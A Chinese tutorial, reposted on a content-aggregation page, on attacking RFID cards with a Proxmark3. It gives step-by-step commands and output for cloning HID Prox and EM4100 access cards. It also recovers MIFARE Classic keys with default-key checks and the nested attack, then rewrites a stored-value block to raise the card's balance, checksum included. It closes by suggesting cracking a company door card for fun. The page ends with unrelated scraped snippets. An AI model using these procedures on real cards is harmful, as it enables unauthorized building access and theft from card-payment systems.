智能卡包括(精品大牛DIY 智能卡破解入门二三事)
Posted
篇首语:时间铭记梦想的足迹,历史镌刻奋斗的功勋。本文由小常识网(cha138.com)小编为大家整理,主要介绍了智能卡包括(精品大牛DIY 智能卡破解入门二三事)相关的知识,希望对你有一定的参考价值。
智能卡包括(精品大牛DIY 智能卡破解入门二三事)
随着智能设备NFC功能的普及,用RFID卡支付现金的模式也越加流行。现在的非接触式卡片(包括但不限于社保卡、饭卡、交通卡、门禁卡等)都是使用的RFID技术。
这么看来射频识别技术(RFID)是一个应用相当广泛的技术,智能卡通常会被做成小钥匙扣、卡片以及贴纸的样子。你可以在很多不同的系统设备中看到它出现的影子,而且往往都是与取款以及门禁系统有关。我对无线技术十分感兴趣,尤其对射频识别技术系统感兴趣,所以当我研究HID iClass系统时,我就入手了一个proxmark3。
proxmark3
Proxmark3是由Jonathan Westhues设计开发的开源硬件,其主要用途是实现RFID的嗅探、读取以及克隆等等操作。Proxmark3主要是针对RFID而开发的工具,虽然也有一些其它的工具,但Proxmark3属于主流工具。它可以嗅探、模拟以及读取多种不同种类型的RFID,同时它还有一个官方社区,这里有不少同样的爱好者在里面学习交流。
购买Proxmark
在Proxmark官网上已经列出了一些供应商,你可以在里面选择一个供应商进行购买。我购买了Proxmark RDV2,它虽不是开源版本,但却是在初始版本的改进版。值得注意的是,我购买的版本更小巧,同时可以用电池对设备供电,支持MMCX,而非USB接口。
当然你也可以在不同的网站购买设备,你可以去美国网站Rysc Corp上购买,或就近在香港购买,但需要248美元,如果Rysc Corp上购买则需要299美元(不含运费)。而实际上我在购买Proxmark RDV2基本上也就需要212.00美元,美国运送费用为36.30美元(随运送距离不同费用也会越高),合计为248.30美元。
如果你仔细研究会发现,通过AliExpress网站购买,可以省下一大笔钱,花费在190美元(包邮),就性价比来说,甚至比“Proxmark 3 Easy”更便宜。
PM3 Easy是Proxmark系列中相对较便宜的版本,售价约为100美元,但却阉割了一些功能,这个版本仅针对中国国内市场的版本,因此删除了一些功能,删掉的功能如下:
AT91SAM7S256(内存256kb)
移除锂电池管理和插座模块
阉割了一些电子元器件,如继电器和信号放大器
可使用不同的天线连接功能
想了解更多相关内容可以访问Proxmark官方论坛
总的来说,Proxmark 3的原始版本设计已经过时,你应该使用新版本的硬件设计。
Proxmark 3配置
在硬件方面,根据你具体使用Proxmark 3(以下简称PM3)型号的不同,配置方式也大不相同。原始版本PM3外接USB天线,你可以随意插拔,但在RDV2上就不能这样操作,首先你必须要连接MMCX,之后才可以使用RDV2,就相当于你需要将这一块加入主体,即将天线模块安装进主板中。我没有这样做,而是用胶将MMCX以及天线粘黏到板子上。
完成上部分操作之后,你就可以按照PM3说明文档进行配置固件,据我了解可知,Proxmarks很它使用相同的固件,因此在软件配置及操作上不会有太大区别。
我下面的配置并没有涉及完整的软件配置,我做到的也仅仅是说明中的一部分。在某些时候,出于性能上的考虑,PM3会将USB接口转化为串行接口,同时使用串行接口可以解决在虚拟机中运行问题。
如果你决定在虚拟机进行操作,那么在Linux会上运行会比Windows更好一些,这一点上我不会做出太多说明,但我在后面文章中使用PM3用户界面时,明显效果更好一些。我在虚拟机中安装Windows 7,或可将GUI(Linux)作为PM3用户界面。总的来说,烧写PM3固件可能是一个烦人的过程,但你真的需要做那么一两次。
RFID技术
在美国有许多常见的RFID认证技术,我下面列举在日常生活参见的四个:
HID iClass(13.56 MHz)
HID Prox 卡(125 kHz)
EM4100x卡(125 kHz)
MIFARE Classic(13.56 MHz)
我将详述最后三部分,同时我在下文也会介绍如何读/写iClass卡。
对于一些不清楚的RFID 电子标签以及RFID卡,我们将尝试克隆/修改每个标签的内容。首先我们需要弄清楚每张卡片背后的技术是什么。 一般来说,您可以搜集序列号,制造商信息和数据表单信息,然后通过网络查询研究这些信息。PM3可以可以使用指令 lf search、hf search查询,这两个命令将分别在低频(125 kHz)和高频(13.56 MHz)范围内搜索可用电子标签。
HID ProxCard
我们来看看更受欢迎的HID ProxCard
在卡的正面有一些数字以及单词(HID Proximity),如果你去网上搜索,你可以发现这是一张HID Prox 卡,可以通过Proxmark指令克隆一张卡。
我们可以使用lf search指令搜索前文提到的电子标签
proxmark3> lf search #db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory Data fetched Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary if it finds something that looks like a tagFalse Positives ARE possible Checking for known tags: HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 Valid HID Prox ID Found!
我们很清楚这是一张Prox 卡,如果需要将当前卡系统从 HID Prox 升级到 HID iCLASS 凭证,就需要特殊指令,我们现在已经知道标签ID(2004263f88),但我可以输入lf hid fskdemod指令读取智能卡(按下PM3上的按钮停止扫描)
proxmark3> lf hid fskdemod #db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 #db# Stopped
该ID标签(19)以及卡ID(8132)的编码,你可以在线使用韦根协议(26位)计算器检查一下。这就意味着你需要了解数据并克隆到卡上(写入到卡本身)。
大多数低频电子标签没有任何复杂的认证方案或任何防止重放攻击的保护,所以扫描现有的智能卡,并克隆一张,并不是一件难事。使用高功率读卡器,可以在距离较远的位置窃取RFID电子标签。
我现在已经知道标签ID,现在需要一张空白的RFID卡,我们可以克隆标签ID。最好是t5577卡,它可以复制多种低频智能卡,包括这里讨论的两个(HID Prox 卡,EM41000卡)。
我已经了解到标签ID,那么就可以很轻松的克隆一张卡
proxmark3> lf hid clone 2004263f88 Cloning tag with ID 2004263f88 #db# DONE!
现在T5577卡电子标签应该与被克隆卡标签一致,成功了!!
除了读写操作之外,PM3还能够模拟RFID电子标签,但可能没有你想象的那么直观,你需要将计算机连接到PM3上,并执行一些指令,这对渗透测试者有帮助,但读写操作适用于绝大多数使用者。
EM4100
EM4100卡不像HID Prox 卡那样常见,但不代表它不会出现,PM3功能同样适用于它。
我们继续使用lf搜索命令
proxmark3> lf search #db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory Data fetched Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary if it finds something that looks like a tagFalse Positives ARE possible Checking for known tags: EM410x pattern found: EM TAG ID : 8800180E55 Unique TAG ID : 11001870AA Possible de-scramble patterns HoneyWell IdentKey DEZ 8 : 01576533 DEZ 10 : 0001576533 DEZ 5.5 : 00024.03669 DEZ 3.5A : 136.03669 DEZ 3.5B : 000.03669 DEZ 3.5C : 024.03669 DEZ 14/IK2 : 00584117128789 DEZ 15/IK3 : 000073016045738 DEZ 20/ZK : 01010000010807001010 Other : 03669_024_01576533 Pattern Paxton : 2284604501 [0x882C4C55] Pattern 1 : 4457436 [0x4403DC] Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55] Valid EM410x ID Found!
这是一张EM4100卡,我可以使用更多的EM4100 RFID指令,读取标签ID
proxmark3> lf em4x em410xdemod 1#db# DownloadFPGA(len: 42096)#db# EM TAG ID: 8800180e55 - (03669_024_01576533)
获取标签ID之后,写入到一张T5577卡中
proxmark3> lf em4x em410xwrite 8800180e55 1 Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)#db# Started writing T55x7 tag ...#db# Clock rate: 64#db# Tag T55x7 written with 0xffc62000e20ea94e
大多数低频RFID电子标签破解适用于刚入门的新手,你仅需要了解读/写/克隆/仿真的玩法。
接下来,我们将看看一张更复杂但最终被破解的智能卡,MIFARE Classic协议的NFC卡(以下简称MIFARE卡)。
MIFARE Classic
NFCA协议是兼容MifareClassic 协议的, 我们可以通过NfcA在android的相关类来处理给予MifareClassic 的RFID卡。MIFARE 卡应用很广泛,它应用的领域也大不相同,如公交卡、干洗店洗衣卡、身份证,很不幸的一点就是,这样的卡也会被破解。
一般来说,给予MifareClassic的射频卡,一般内存大小有3种:
1K: 16个分区(sector),每个分区4个块(block),每个块(block) 16个byte数据
2K: 32个分区,每个分区4个块(block),每个块(block) 16个byte数据
4K:64个分区,每个分区4个块(block),每个块(block) 16个byte数据
对于所有基于MifareClassic的卡来说,每个区最后一个块叫Trailer,16个byte, 主要来存放读写该区的key,可以有A,B两个KEY,每个key长6byte,默认的key一般是FF 或 0,最后一个块的内存结构如下:
Block 0 Data 16bytes
Block 1 Data 16 bytes
Block 2 Data 16 bytes
Block 3 Trailer 16 bytes
Trailer:
Key A: 6 bytes
Access Conditions: 4 bytes
Key B: 6 bytes
所以在写卡的内存的时候,一般不能写每个sector的最后一个block,除非你有要修改KEY和访问权限的需求。如果KEY A 被你不小心修改掉了,而你不知道修改成什么,那与之对应的那个sector你就没有办法访问了。因为在MifareClassic中,如果你要读取数据,那么必须要有这个数据地址所在的sector的权限,这个权限就是这个sector的trailer的keyA或KEY B。下面我们将使用高频天线来读取高频MIFARE卡。
我开始使用hf指令搜索并识别MIFARE卡
proxmark3> hf search #db# DownloadFPGA(len: 42096)UID : bc 4e a5 35ATQA : 00 04 SAK : 08 [2]TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1 proprietary non iso14443-4 card found, RATS not supported Answers to chinese magic backdoor commands: NO Valid ISO14443A Tag Found - Quitting Search
不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它利用简单的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,但是由于“认证错误”,其它块并不可用:
成功读取
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF --block no:0, key type:A, key:ff ff ff ff ff ff #db# READ BLOCK FINISHED isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00
失败读取
proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF --block no:5, key type:A, key:ff ff ff ff ff ff #db# Authentication failed. Card timeout. #db# Auth error #db# READ BLOCK FINISHED isOk:00
起初发现这个问题,我觉得很奇怪,但很快发现前文提到的key,这是我在网上找到的资料。MIFARE Classic 1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个不同的key保护(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以利用应用程序测试key,并针对卡进行测试。
PM3具有“测试key(块)”指令,它将测试我们的默认key。
proxmark3> hf mf chk * ? No key specified, trying default keys chk default key[ 0] ffffffffffff chk default key[ 1] 000000000000 chk default key[ 2] a0a1a2a3a4a5 chk default key[ 3] b0b1b2b3b4b5 chk default key[ 4] aabbccddeeff chk default key[ 5] 4d3a99c351dd chk default key[ 6] 1a982c7e459a chk default key[ 7] d3f7d3f7d3f7 chk default key[ 8] 714c5c886e97 chk default key[ 9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --sector: 0, block: 3, key type:A, key count:13Found valid key:[ffffffffffff] ...omitted for brevity...--sector:15, block: 63, key type:B, key count:13Found valid key:[ffffffffffff]
我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包含在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。
proxmark3> hf mf nested 1 0 A ffffffffffff d Testing known keys. Sector count=16 nested... -----------------------------------------------uid:bc4ea535 trgbl=4 trgkey=0 Found valid key:080808080808 -----------------------------------------------uid:bc4ea535 trgbl=8 trgkey=0 Found valid key:080808080808 Time in nested: 7.832 (3.916 sec per key) -----------------------------------------------Iterations count: 2 |---|----------------|---|----------------|---||sec|key A |res|key B |res||---|----------------|---|----------------|---||000| ffffffffffff | 1 | ffffffffffff | 1 ||001| 080808080808 | 1 | ffffffffffff | 1 ||002| 080808080808 | 1 | ffffffffffff | 1 ||003| ffffffffffff | 1 | ffffffffffff | 1 ||004| ffffffffffff | 1 | ffffffffffff | 1 ||005| ffffffffffff | 1 | ffffffffffff | 1 ||006| ffffffffffff | 1 | ffffffffffff | 1 ||007| ffffffffffff | 1 | ffffffffffff | 1 ||008| ffffffffffff | 1 | ffffffffffff | 1 ||009| ffffffffffff | 1 | ffffffffffff | 1 ||010| ffffffffffff | 1 | ffffffffffff | 1 ||011| ffffffffffff | 1 | ffffffffffff | 1 ||012| ffffffffffff | 1 | ffffffffffff | 1 ||013| ffffffffffff | 1 | ffffffffffff | 1 ||014| ffffffffffff | 1 | ffffffffffff | 1 ||015| ffffffffffff | 1 | ffffffffffff | 1 ||---|----------------|---|----------------|---|Printing keys to binary file dumpkeys.bin...
注意:在早期Nested 攻击命令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。
proxmark3> hf mf rdbl 5 A 080808080808 --block no:5, key type:A, key:08 08 08 08 08 08 #db# READ BLOCK FINISHED isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa
dumpkeys.bin文件已经准备好,我们可以转储整个卡的数据,并将其写入到空白的MIFARE卡上。
proxmark3> hf mf dump 1 |-----------------------------------------||------ Reading sector access bits...-----||-----------------------------------------|#db# READ BLOCK FINISHED...omitted for brevity...#db# READ BLOCK FINISHED|-----------------------------------------||----- Dumping all blocks to file... -----||-----------------------------------------|#db# READ BLOCK FINISHEDSuccessfully read block 0 of sector 0. ...omitted for brevity...Successfully read block 3 of sector 15. Dumped 64 blocks (1024 bytes) to file dumpdata.bin
借助dumpdata.bin文件,我们可以将此卡的内容还原到另一张卡上,输入命令:hf mf restore 1,然而,克隆一张MIFARE卡效率还是很低(totem pole),使用新key,我就可以读写一张空白卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改里面的金额。先来看看卡中部分转存数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff 4f54 4f54 0050 0082 0136 000b 0000 0000 4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa 0000 0000 0101 0000 0000 0001 0100 0000
得到的数据不能解析,再次重复以上步骤,然后查看数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff 4f54 4f54 0050 0082 0136 000b 0000 0000 3205 0000 cdfa ffff 3205 0000 05fa 05fa 0000 0000 0101 0000 0000 0001 0100 0000
其中一行数据由
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
变为
3205 0000 cdfa ffff 3205 0000 05fa 05fa
当时虽然没有立刻看明白这行数据意思,但已经明白卡上肯定存在一个可以变化的数值,最简单的一个假设是,卡正在存储金额,然后扣去交易额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。
我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
这样我就发现了卡存储金额的部分了,特别是考虑到以下字节0×07。因此,我们应该能够通过修改这些字节来增加我们卡的金额。
你可以不需要理解字节的详细含义,它们并不重复,在前面两次转储数据,可以看出没有什么规律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。
注意:有人指出其中两个数值b4f8和4b07加起来是ffff,其实这是校验和的数值,读卡者可以利用这个来确认卡的金额是否在交易完成后更新。
我已经将卡中数值更改到17.50,我们可以采取新的转储数据并保存第5块的结果(存储值)。
Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8 Block 1: 0000 0000 0000 0000 0000 0000 0000 0000 Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000 Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa Block 6: 0000 0000 0101 0000 0000 0001 0100 0000
现在我们可以无限制将卡中数值更改到17.50。
写入(块)
proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa --block no:5, key type:A, key:08 08 08 08 08 08 --data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa #db# WRITE BLOCK FINISHED isOk:01
读出(块)
proxmark3> hf mf rdbl 5 A 080808080808 --block no:5, key type:A, key:08 08 08 08 08 08 #db# READ BLOCK FINISHED isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
即使没有使用默认key,我们也可以嗅探真实的读卡器和卡之间的通信协议,并获取关键key。只要我们知道一个现有的key,我们就可以利用前文提到的nested攻击识别其它key来获取对该卡的读/写访问。
结论
通过从事多年RFID卡系统的安全研究,我得出一个结论,Proxmark 3可以说是研究RFID卡系统的最佳工具,并在研究过程中可以学习到很多相关知识。如果你有兴趣克隆RFID卡并了解这些系统的工作原理,我非常建议您选择ProxMark 3和T5577卡。当然你也可以将公司的门禁卡破解之后做成一把属于自己的小钥匙,这件事看起来也是比较有趣的。
相关参考
朋友的二三事(写在微信朋友圈十周年:我与朋友圈不得不说的二三事)
...友圈的那些事儿,本文的话题为“我与朋友圈不得不说的二三事”。千禧年之初,那时候智能手机还是奢侈品,对着3英寸的按键机乐
智能盒子怎么root(华为悦盒 EC6108V9U 破解过程全记录(root扫盲))
华为悦盒EC6108V9U破解过程全记录(root扫盲)[非原创]电信宽带送的IPTV盒子,型号EC6108V9U,CPU为Hi3798M,1G内存,8G存储,支持H.265硬解码,系统为Android4.4.2,却只能看电视,岂不浪费?好在华为厚道,还是留了后门供DIY。于是,经...
来源:12360海关热线进口棉花实验室检验二三事进口棉花检验具体检什么?答:按照国家法律法规规定,目前进口棉花交易品质判断主要依据四个指标:等级、长度、马克隆值和断裂比强度。这四项指标检验数据结果最终形成海关...
来源:12360海关热线进口棉花实验室检验二三事进口棉花检验具体检什么?答:按照国家法律法规规定,目前进口棉花交易品质判断主要依据四个指标:等级、长度、马克隆值和断裂比强度。这四项指标检验数据结果最终形成海关...
来源:湛江日报-湛江新闻网邓荣树在检查设备。刘立斌摄“树哥”名叫邓荣树,1987年出生,现为雷州发电公司工程设备部锅炉专业点检员。他在锅炉辅机专业绝对是一名“行家里手”。在以往的工作经历中,他先后参与了1000MW...
来源:湛江日报-湛江新闻网邓荣树在检查设备。刘立斌摄“树哥”名叫邓荣树,1987年出生,现为雷州发电公司工程设备部锅炉专业点检员。他在锅炉辅机专业绝对是一名“行家里手”。在以往的工作经历中,他先后参与了1000MW...
一、生活1.住非洲的季节只有两个:雨季和旱季。在这里,水攸关性命,这些游牧民族和他们家庭中最重要的财产牛群羊群,都是逐水草而居。牲畜是部落唯一且最重要的财产,可以直接作为货币进行交易。他们的房子大部分建...
近期市场不错,热点非常多,短线机会也很多。但相信近期大家又被各种概念绕晕了。比如最火的光热发电,简单做个科普。如果看图可能看不明白。可以直接在各种视频网站搜索:光热发电简单一句话描述。把太阳能通过定日...
近期市场不错,热点非常多,短线机会也很多。但相信近期大家又被各种概念绕晕了。比如最火的光热发电,简单做个科普。如果看图可能看不明白。可以直接在各种视频网站搜索:光热发电简单一句话描述。把太阳能通过定日...
【青年学子说】讲述人:宁夏大学新闻传播学院硕士生方宁我生在宁夏彭阳县沟圈村,长在这片黄土地上。家门口这条土路,我走了二十余年。晴天时,扬尘顺着裤管往上爬,新洗的校服腿上两道黄土印子。雨天时,裤腿后面一...